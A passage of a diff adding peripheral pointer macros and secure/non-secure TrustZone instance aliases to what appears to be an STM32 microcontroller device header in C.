RTC_NS ((RTC_TypeDef *) RTC_BASE_NS) +#define TAMP_NS ((TAMP_TypeDef *) TAMP_BASE_NS) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_NS ((DMA_TypeDef *) GPDMA1_BASE_NS) +#define GPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_NS) +#define GPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_NS) +#define GPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_NS) +#define GPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_NS) +#define GPDMA1_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_NS) +#define GPDMA1_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_NS) +#define GPDMA1_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_NS) +#define GPDMA1_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_NS) +#define GPDMA1_Channel8_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_NS) +#define GPDMA1_Channel9_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_NS) +#define GPDMA1_Channel10_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_NS) +#define GPDMA1_Channel11_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_NS) +#define GPDMA1_Channel12_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_NS) +#define GPDMA1_Channel13_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_NS) +#define GPDMA1_Channel14_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_NS) +#define GPDMA1_Channel15_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_NS) +#define CORDIC_NS ((CORDIC_TypeDef *) CORDIC_BASE_NS) +#define FMAC_NS ((FMAC_TypeDef *) FMAC_BASE_NS) +#define FLASH_NS ((FLASH_TypeDef *) FLASH_R_BASE_NS) +#define CRC_NS ((CRC_TypeDef *) CRC_BASE_NS) +#define TSC_NS ((TSC_TypeDef *) TSC_BASE_NS) +#define MDF1_NS ((MDF_TypeDef *) MDF1_BASE_NS) +#define MDF1_Filter0_NS ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_NS) +#define MDF1_Filter1_NS ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_NS) +#define MDF1_Filter2_NS ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_NS) +#define MDF1_Filter3_NS ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_NS) +#define MDF1_Filter4_NS ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_NS) +#define MDF1_Filter5_NS ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_NS) +#define RAMCFG_SRAM1_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_NS) +#define RAMCFG_SRAM2_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_NS) +#define RAMCFG_SRAM4_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_NS) +#define RAMCFG_BKPRAM_NS ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_NS) +#define ICACHE_NS ((ICACHE_TypeDef *) ICACHE_BASE_NS) +#define DCACHE1_NS ((DCACHE_TypeDef *) DCACHE1_BASE_NS) +#define GTZC_TZSC1_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_NS) +#define GTZC_TZIC1_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_NS) +#define GTZC_MPCBB1_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_NS) +#define GTZC_MPCBB2_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_NS) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_NS ((GPIO_TypeDef *) GPIOA_BASE_NS) +#define GPIOB_NS ((GPIO_TypeDef *) GPIOB_BASE_NS) +#define GPIOC_NS ((GPIO_TypeDef *) GPIOC_BASE_NS) +#define GPIOD_NS ((GPIO_TypeDef *) GPIOD_BASE_NS) +#define GPIOE_NS ((GPIO_TypeDef *) GPIOE_BASE_NS) +#define GPIOG_NS ((GPIO_TypeDef *) GPIOG_BASE_NS) +#define GPIOH_NS ((GPIO_TypeDef *) GPIOH_BASE_NS) +#define ADC1_NS ((ADC_TypeDef *) ADC1_BASE_NS) +#define ADC12_COMMON_NS ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_NS) +#define DCMI_NS ((DCMI_TypeDef *) DCMI_BASE_NS) +#define PSSI_NS ((PSSI_TypeDef *) PSSI_BASE_NS) +#define USB_DRD_FS_NS ((USB_DRD_TypeDef *) USB_DRD_BASE_NS) +#define USB_DRD_PMA_BUFF_NS ((USB_DRD_PMABuffDescTypeDef *) USB_DRD_PMAADDR_NS) +#define AES_NS ((AES_TypeDef *) AES_BASE_NS) +#define HASH_NS ((HASH_TypeDef *) HASH_BASE_NS) +#define HASH_DIGEST_NS ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_NS) +#define RNG_NS ((RNG_TypeDef *) RNG_BASE_NS) +#define SAES_NS ((AES_TypeDef *) SAES_BASE_NS) +#define PKA_NS ((PKA_TypeDef *) PKA_BASE_NS) +#define OTFDEC1_NS ((OTFDEC_TypeDef *) OTFDEC1_BASE_NS) +#define OTFDEC1_REGION1_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION1_BASE_NS) +#define OTFDEC1_REGION2_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION2_BASE_NS) +#define OTFDEC1_REGION3_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION3_BASE_NS) +#define OTFDEC1_REGION4_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION4_BASE_NS) +#define SDMMC1_NS ((SDMMC_TypeDef *) SDMMC1_BASE_NS) +#define DLYB_SDMMC1_NS ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_NS) +#define DLYB_OCTOSPI1_NS ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_NS) +#define OCTOSPI1_NS ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_NS) + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_NS ((GPIO_TypeDef *) LPGPIO1_BASE_NS) +#define PWR_NS ((PWR_TypeDef *) PWR_BASE_NS) +#define RCC_NS ((RCC_TypeDef *) RCC_BASE_NS) +#define ADC4_NS ((ADC_TypeDef *) ADC4_BASE_NS) +#define ADC4_COMMON_NS ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_NS) +#define DAC1_NS ((DAC_TypeDef *) DAC1_BASE_NS) +#define EXTI_NS ((EXTI_TypeDef *) EXTI_BASE_NS) +#define GTZC_TZSC2_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_NS) +#define GTZC_TZIC2_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_NS) +#define GTZC_MPCBB4_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_NS) +#define ADF1_NS ((MDF_TypeDef *) ADF1_BASE_NS) +#define ADF1_Filter0_NS ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_NS) +#define LPDMA1_NS ((DMA_TypeDef *) LPDMA1_BASE_NS) +#define LPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_NS) +#define LPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_NS) +#define LPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_NS) +#define LPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_NS) + +/*!< APB1 Secure peripherals */ +#define TIM2_S ((TIM_TypeDef *) TIM2_BASE_S) +#define TIM3_S ((TIM_TypeDef *) TIM3_BASE_S) +#define TIM4_S ((TIM_TypeDef *) TIM4_BASE_S) +#define TIM5_S ((TIM_TypeDef *) TIM5_BASE_S) +#define TIM6_S ((TIM_TypeDef *) TIM6_BASE_S) +#define TIM7_S ((TIM_TypeDef *) TIM7_BASE_S) +#define WWDG_S ((WWDG_TypeDef *) WWDG_BASE_S) +#define IWDG_S ((IWDG_TypeDef *) IWDG_BASE_S) +#define SPI2_S ((SPI_TypeDef *) SPI2_BASE_S) +#define USART3_S ((USART_TypeDef *) USART3_BASE_S) +#define UART4_S ((USART_TypeDef *) UART4_BASE_S) +#define UART5_S ((USART_TypeDef *) UART5_BASE_S) +#define I2C1_S ((I2C_TypeDef *) I2C1_BASE_S) +#define I2C2_S ((I2C_TypeDef *) I2C2_BASE_S) +#define CRS_S ((CRS_TypeDef *) CRS_BASE_S) +#define I2C4_S ((I2C_TypeDef *) I2C4_BASE_S) +#define LPTIM2_S ((LPTIM_TypeDef *) LPTIM2_BASE_S) +#define FDCAN1_S ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_S) +#define FDCAN_CONFIG_S ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_S) + +/*!< APB2 Secure peripherals */ +#define TIM1_S ((TIM_TypeDef *) TIM1_BASE_S) +#define SPI1_S ((SPI_TypeDef *) SPI1_BASE_S) +#define TIM8_S ((TIM_TypeDef *) TIM8_BASE_S) +#define USART1_S ((USART_TypeDef *) USART1_BASE_S) +#define TIM15_S ((TIM_TypeDef *) TIM15_BASE_S) +#define TIM16_S ((TIM_TypeDef *) TIM16_BASE_S) +#define TIM17_S ((TIM_TypeDef *) TIM17_BASE_S) +#define SAI1_S ((SAI_TypeDef *) SAI1_BASE_S) +#define SAI1_Block_A_S ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_S) +#define SAI1_Block_B_S ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_S) + +/*!< APB3 secure peripherals */ +#define SYSCFG_S ((SYSCFG_TypeDef *) SYSCFG_BASE_S) +#define SPI3_S ((SPI_TypeDef *) SPI3_BASE_S) +#define LPUART1_S ((USART_TypeDef *) LPUART1_BASE_S) +#define I2C3_S ((I2C_TypeDef *) I2C3_BASE_S) +#define LPTIM1_S ((LPTIM_TypeDef *) LPTIM1_BASE_S) +#define LPTIM3_S ((LPTIM_TypeDef *) LPTIM3_BASE_S) +#define LPTIM4_S ((LPTIM_TypeDef *) LPTIM4_BASE_S) +#define OPAMP_S ((OPAMP_TypeDef *) OPAMP_BASE_S) +#define OPAMP1_S ((OPAMP_TypeDef *) OPAMP1_BASE_S) +#define OPAMP12_COMMON_S ((OPAMP_Common_TypeDef *) OPAMP1_BASE_S) +#define COMP12_S ((COMP_TypeDef *) COMP12_BASE_S) +#define COMP1_S ((COMP_TypeDef *) COMP1_BASE_S) +#define COMP12_COMMON_S ((COMP_Common_TypeDef *) COMP1_BASE_S) +#define VREFBUF_S ((VREFBUF_TypeDef *) VREFBUF_BASE_S) +#define RTC_S ((RTC_TypeDef *) RTC_BASE_S) +#define TAMP_S ((TAMP_TypeDef *) TAMP_BASE_S) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_S ((DMA_TypeDef *) GPDMA1_BASE_S) +#define GPDMA1_Channel0_S ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_S) +#define GPDMA1_Channel1_S ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_S) +#define GPDMA1_Channel2_S ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_S) +#define GPDMA1_Channel3_S ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_S) +#define GPDMA1_Channel4_S ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_S) +#define GPDMA1_Channel5_S ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_S) +#define GPDMA1_Channel6_S ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_S) +#define GPDMA1_Channel7_S ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_S) +#define GPDMA1_Channel8_S ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_S) +#define GPDMA1_Channel9_S ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_S) +#define GPDMA1_Channel10_S ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_S) +#define GPDMA1_Channel11_S ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_S) +#define GPDMA1_Channel12_S ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_S) +#define GPDMA1_Channel13_S ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_S) +#define GPDMA1_Channel14_S ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_S) +#define GPDMA1_Channel15_S ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_S) +#define CORDIC_S ((CORDIC_TypeDef *) CORDIC_BASE_S) +#define FMAC_S ((FMAC_TypeDef *) FMAC_BASE_S) +#define FLASH_S ((FLASH_TypeDef *) FLASH_R_BASE_S) +#define CRC_S ((CRC_TypeDef *) CRC_BASE_S) +#define TSC_S ((TSC_TypeDef *) TSC_BASE_S) +#define MDF1_S ((MDF_TypeDef *) MDF1_BASE_S) +#define MDF1_Filter0_S ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_S) +#define MDF1_Filter1_S ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_S) +#define MDF1_Filter2_S ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_S) +#define MDF1_Filter3_S ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_S) +#define MDF1_Filter4_S ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_S) +#define MDF1_Filter5_S ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_S) +#define RAMCFG_SRAM1_S ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_S) +#define RAMCFG_SRAM2_S ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_S) +#define RAMCFG_SRAM4_S ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_S) +#define RAMCFG_BKPRAM_S ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_S) +#define ICACHE_S ((ICACHE_TypeDef *) ICACHE_BASE_S) +#define DCACHE1_S ((DCACHE_TypeDef *) DCACHE1_BASE_S) +#define GTZC_TZSC1_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_S) +#define GTZC_TZIC1_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_S) +#define GTZC_MPCBB1_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_S) +#define GTZC_MPCBB2_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_S) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_S ((GPIO_TypeDef *) GPIOA_BASE_S) +#define GPIOB_S ((GPIO_TypeDef *) GPIOB_BASE_S) +#define GPIOC_S ((GPIO_TypeDef *) GPIOC_BASE_S) +#define GPIOD_S ((GPIO_TypeDef *) GPIOD_BASE_S) +#define GPIOE_S ((GPIO_TypeDef *) GPIOE_BASE_S) +#define GPIOG_S ((GPIO_TypeDef *) GPIOG_BASE_S) +#define GPIOH_S ((GPIO_TypeDef *) GPIOH_BASE_S) +#define ADC1_S ((ADC_TypeDef *) ADC1_BASE_S) +#define ADC12_COMMON_S ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_S) +#define DCMI_S ((DCMI_TypeDef *) DCMI_BASE_S) +#define PSSI_S ((PSSI_TypeDef *) PSSI_BASE_S) +#define USB_DRD_FS_S ((USB_DRD_TypeDef *) USB_DRD_BASE_S) +#define USB_DRD_PMA_BUFF_S ((USB_DRD_PMABuffDescTypeDef *) USB_DRD_PMAADDR_S) +#define AES_S ((AES_TypeDef *) AES_BASE_S) +#define HASH_S ((HASH_TypeDef *) HASH_BASE_S) +#define HASH_DIGEST_S ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_S) +#define RNG_S ((RNG_TypeDef *) RNG_BASE_S) +#define SAES_S ((AES_TypeDef *) SAES_BASE_S) +#define PKA_S ((PKA_TypeDef *) PKA_BASE_S) +#define OTFDEC1_S ((OTFDEC_TypeDef *) OTFDEC1_BASE_S) +#define OTFDEC1_REGION1_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION1_BASE_S) +#define OTFDEC1_REGION2_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION2_BASE_S) +#define OTFDEC1_REGION3_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION3_BASE_S) +#define OTFDEC1_REGION4_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION4_BASE_S) +#define SDMMC1_S ((SDMMC_TypeDef *) SDMMC1_BASE_S) +#define DLYB_SDMMC1_S ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_S) +#define DLYB_OCTOSPI1_S ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_S) +#define OCTOSPI1_S ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_S) + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_S ((GPIO_TypeDef *) LPGPIO1_BASE_S) +#define PWR_S ((PWR_TypeDef *) PWR_BASE_S) +#define RCC_S ((RCC_TypeDef *) RCC_BASE_S) +#define ADC4_S ((ADC_TypeDef *) ADC4_BASE_S) +#define ADC4_COMMON_S ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_S) +#define DAC1_S ((DAC_TypeDef *) DAC1_BASE_S) +#define EXTI_S ((EXTI_TypeDef *) EXTI_BASE_S) +#define GTZC_TZSC2_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_S) +#define GTZC_TZIC2_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_S) +#define GTZC_MPCBB4_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_S) +#define ADF1_S ((MDF_TypeDef *) ADF1_BASE_S) +#define ADF1_Filter0_S ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_S) +#define LPDMA1_S ((DMA_TypeDef *) LPDMA1_BASE_S) +#define LPDMA1_Channel0_S ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_S) +#define LPDMA1_Channel1_S ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_S) +#define LPDMA1_Channel2_S ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_S) +#define LPDMA1_Channel3_S ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_S) + +/*!< DBGMCU peripheral */ +#define DBGMCU ((DBGMCU_TypeDef *) DBGMCU_BASE) + +/*!< Memory & Instance aliases and base addresses for Non-Secure/Secure peripherals */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) + +/*!< Memory base addresses for Secure peripherals */ +#define FLASH_BASE FLASH_BASE_S +#define SRAM1_BASE SRAM1_BASE_S +#define SRAM2_BASE SRAM2_BASE_S +#define SRAM4_BASE SRAM4_BASE_S +#define BKPSRAM_BASE BKPSRAM_BASE_S +#define PERIPH_BASE PERIPH_BASE_S +#define APB1PERIPH_BASE APB1PERIPH_BASE_S +#define APB2PERIPH_BASE APB2PERIPH_BASE_S +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_S +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_S + +/*!< Instance aliases and base addresses for Secure peripherals */ +#define CORDIC CORDIC_S +#define CORDIC_BASE CORDIC_BASE_S + +#define RCC RCC_S +#define RCC_BASE RCC_BASE_S + +#define DCMI DCMI_S +#define DCMI_BASE DCMI_BASE_S + +#define PSSI PSSI_S +#define PSSI_BASE PSSI_BASE_S + +#define FLASH FLASH_S +#define FLASH_R_BASE FLASH_R_BASE_S + +#define FMAC FMAC_S +#define FMAC_BASE FMAC_BASE_S + +#define GPDMA1 GPDMA1_S +#define GPDMA1_BASE GPDMA1_BASE_S + +#define GPDMA1_Channel0 GPDMA1_Channel0_S +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_S + +#define GPDMA1_Channel1 GPDMA1_Channel1_S +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_S + +#define GPDMA1_Channel2 GPDMA1_Channel2_S +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_S + +#define GPDMA1_Channel3 GPDMA1_Channel3_S +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_S + +#define GPDMA1_Channel4 GPDMA1_Channel4_S +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_S + +#define GPDMA1_Channel5 GPDMA1_Channel5_S +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_S + +#define GPDMA1_Channel6 GPDMA1_Channel6_S +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_S + +#define GPDMA1_Channel7 GPDMA1_Channel7_S +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_S + +#define GPDMA1_Channel8 GPDMA1_Channel8_S +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_S + +#define GPDMA1_Channel9 GPDMA1_Channel9_S +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_S + +#define GPDMA1_Channel10 GPDMA1_Channel10_S +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_S + +#define GPDMA1_Channel11 GPDMA1_Channel11_S +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_S + +#define GPDMA1_Channel12 GPDMA1_Channel12_S +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_S + +#define GPDMA1_Channel13 GPDMA1_Channel13_S +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_S + +#define GPDMA1_Channel14 GPDMA1_Channel14_S +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_S + +#define GPDMA1_Channel15 GPDMA1_Channel15_S +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_S + +#define LPDMA1 LPDMA1_S +#define LPDMA1_BASE LPDMA1_BASE_S + +#define LPDMA1_Channel0 LPDMA1_Channel0_S +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_S + +#define LPDMA1_Channel1 LPDMA1_Channel1_S +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_S + +#define LPDMA1_Channel2 LPDMA1_Channel2_S +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_S + +#define LPDMA1_Channel3 LPDMA1_Channel3_S +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_S + +#define GPIOA GPIOA_S +#define GPIOA_BASE GPIOA_BASE_S + +#define GPIOB GPIOB_S +#define GPIOB_BASE GPIOB_BASE_S + +#define GPIOC GPIOC_S +#define GPIOC_BASE GPIOC_BASE_S + +#define GPIOD GPIOD_S +#define GPIOD_BASE GPIOD_BASE_S + +#define GPIOE GPIOE_S +#define GPIOE_BASE GPIOE_BASE_S + + +#define GPIOG GPIOG_S +#define GPIOG_BASE GPIOG_BASE_S + +#define GPIOH GPIOH_S +#define GPIOH_BASE GPIOH_BASE_S + + +#define LPGPIO1 LPGPIO1_S +#define LPGPIO1_BASE LPGPIO1_BASE_S + +#define PWR PWR_S +#define PWR_BASE PWR_BASE_S + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_S +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_S + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_S +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_S + + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_S +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_S + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_S +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_S + +#define EXTI EXTI_S +#define EXTI_BASE EXTI_BASE_S + +#define ICACHE ICACHE_S +#define ICACHE_BASE ICACHE_BASE_S + +#define DCACHE1 DCACHE1_S +#define DCACHE1_BASE DCACHE1_BASE_S + +#define GTZC_TZSC1 GTZC_TZSC1_S +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_S + +#define GTZC_TZSC2 GTZC_TZSC2_S +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_S + +#define GTZC_TZIC1 GTZC_TZIC1_S +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_S + +#define GTZC_TZIC2 GTZC_TZIC2_S +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_S + +#define GTZC_MPCBB1 GTZC_MPCBB1_S +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_S + +#define GTZC_MPCBB2 GTZC_MPCBB2_S +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_S + + +#define GTZC_MPCBB4 GTZC_MPCBB4_S +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_S + +#define RTC RTC_S +#define RTC_BASE RTC_BASE_S + +#define TAMP TAMP_S +#define TAMP_BASE TAMP_BASE_S + +#define TIM1 TIM1_S +#define TIM1_BASE TIM1_BASE_S + +#define TIM2 TIM2_S +#define TIM2_BASE TIM2_BASE_S + +#define TIM3 TIM3_S +#define TIM3_BASE TIM3_BASE_S + +#define TIM4 TIM4_S +#define TIM4_BASE TIM4_BASE_S + +#define TIM5 TIM5_S +#define TIM5_BASE TIM5_BASE_S + +#define TIM6 TIM6_S +#define TIM6_BASE TIM6_BASE_S + +#define TIM7 TIM7_S +#define TIM7_BASE TIM7_BASE_S + +#define TIM8 TIM8_S +#define TIM8_BASE TIM8_BASE_S + +#define TIM15 TIM15_S +#define TIM15_BASE TIM15_BASE_S + +#define TIM16 TIM16_S +#define TIM16_BASE TIM16_BASE_S + +#define TIM17 TIM17_S +#define TIM17_BASE TIM17_BASE_S + +#define WWDG WWDG_S +#define WWDG_BASE WWDG_BASE_S + +#define IWDG IWDG_S +#define IWDG_BASE IWDG_BASE_S + +#define SPI1 SPI1_S +#define SPI1_BASE SPI1_BASE_S + +#define SPI2 SPI2_S +#define SPI2_BASE SPI2_BASE_S + +#define SPI3 SPI3_S +#define SPI3_BASE SPI3_BASE_S + +#define USART1 USART1_S +#define USART1_BASE USART1_BASE_S + + +#define USART3 USART3_S +#define USART3_BASE USART3_BASE_S + +#define UART4 UART4_S +#define UART4_BASE UART4_BASE_S + +#define UART5 UART5_S +#define UART5_BASE UART5_BASE_S + +#define I2C1 I2C1_S +#define I2C1_BASE I2C1_BASE_S + +#define I2C2 I2C2_S +#define I2C2_BASE I2C2_BASE_S + +#define I2C3 I2C3_S +#define I2C3_BASE I2C3_BASE_S + +#define I2C4 I2C4_S +#define I2C4_BASE I2C4_BASE_S + +#define CRS CRS_S +#define CRS_BASE CRS_BASE_S + +#define FDCAN1 FDCAN1_S +#define FDCAN1_BASE FDCAN1_BASE_S + +#define FDCAN_CONFIG FDCAN_CONFIG_S +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_S +#define SRAMCAN_BASE SRAMCAN_BASE_S + +#define DAC DAC_S +#define DAC_BASE DAC_BASE_S + +#define DAC1 DAC1_S +#define DAC1_BASE DAC1_BASE_S + +#define OPAMP OPAMP_S +#define OPAMP_BASE OPAMP_BASE_S + +#define OPAMP1 OPAMP1_S +#define OPAMP1_BASE OPAMP1_BASE_S + +#define OPAMP12_COMMON OPAMP12_COMMON_S +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_S + +#define LPTIM1 LPTIM1_S +#define LPTIM1_BASE LPTIM1_BASE_S + +#define LPTIM2 LPTIM2_S +#define LPTIM2_BASE LPTIM2_BASE_S + +#define LPTIM3 LPTIM3_S +#define LPTIM3_BASE LPTIM3_BASE_S + +#define LPTIM4 LPTIM4_S +#define LPTIM4_BASE LPTIM4_BASE_S + +#define LPUART1 LPUART1_S +#define LPUART1_BASE LPUART1_BASE_S + + +#define SYSCFG SYSCFG_S +#define SYSCFG_BASE SYSCFG_BASE_S + +#define VREFBUF VREFBUF_S +#define VREFBUF_BASE VREFBUF_BASE_S + +#define COMP12 COMP12_S +#define COMP12_BASE COMP12_BASE_S + +#define COMP1 COMP1_S +#define COMP1_BASE COMP1_BASE_S + +#define COMP12_COMMON COMP12_COMMON_S +#define COMP12_COMMON_BASE COMP1_BASE_S + +#define SAI1 SAI1_S +#define SAI1_BASE SAI1_BASE_S + +#define SAI1_Block_A SAI1_Block_A_S +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_S + +#define SAI1_Block_B SAI1_Block_B_S +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_S + + +#define CRC CRC_S +#define CRC_BASE CRC_BASE_S + +#define TSC TSC_S +#define TSC_BASE TSC_BASE_S + +#define ADC1 ADC1_S +#define ADC1_BASE ADC1_BASE_S + +#define ADC12_COMMON ADC12_COMMON_S +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_S + + +#define ADC4 ADC4_S +#define ADC4_BASE ADC4_BASE_S + +#define ADC4_COMMON ADC4_COMMON_S +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_S + +#define HASH HASH_S +#define HASH_BASE HASH_BASE_S + +#define HASH_DIGEST HASH_DIGEST_S +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_S + +#define AES AES_S +#define AES_BASE AES_BASE_S + +#define RNG RNG_S +#define RNG_BASE RNG_BASE_S + +#define SAES SAES_S +#define SAES_BASE SAES_BASE_S + +#define PKA PKA_S +#define PKA_BASE PKA_BASE_S +#define PKA_RAM_BASE PKA_RAM_BASE_S + +#define OTFDEC1 OTFDEC1_S +#define 